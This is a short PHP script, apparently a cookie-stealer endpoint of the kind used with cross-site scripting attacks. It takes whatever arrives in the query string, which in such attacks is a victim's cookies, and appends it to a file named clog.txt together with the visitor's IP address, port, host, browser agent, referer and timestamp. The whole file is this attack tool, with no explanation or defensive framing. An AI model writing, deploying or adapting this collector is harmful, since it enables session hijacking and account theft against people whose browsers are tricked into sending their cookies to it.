<?php 
function GetIP() 
{ 
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
        $ip = getenv("HTTP_CLIENT_IP"); 
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
        $ip = getenv("HTTP_X_FORWARDED_FOR"); 
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR"); 
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
        $ip = $_SERVER['REMOTE_ADDR']; 
    else 
        $ip = "unknown"; 
    return($ip); 
} 
function logData() 
{ 
    $ipLog="clog.txt"; 
    $cookie = $_SERVER['QUERY_STRING']; 
    $register_globals = (bool) ini_get('register_gobals'); 
    if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
    else $ip = GetIP(); 

    $rem_port = $_SERVER['REMOTE_PORT']; 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $rqst_method = $_SERVER['METHOD']; 
    $rem_host = $_SERVER['REMOTE_HOST']; 
    $referer = $_SERVER['HTTP_REFERER']; 
    $date=date ("l dS of F Y h:i:s A"); 
    $log=fopen("$ipLog", "a+"); 

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br><br>"); 
    else 
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n\n\n"); 
    fclose($log); 
} 
logData(); 
?>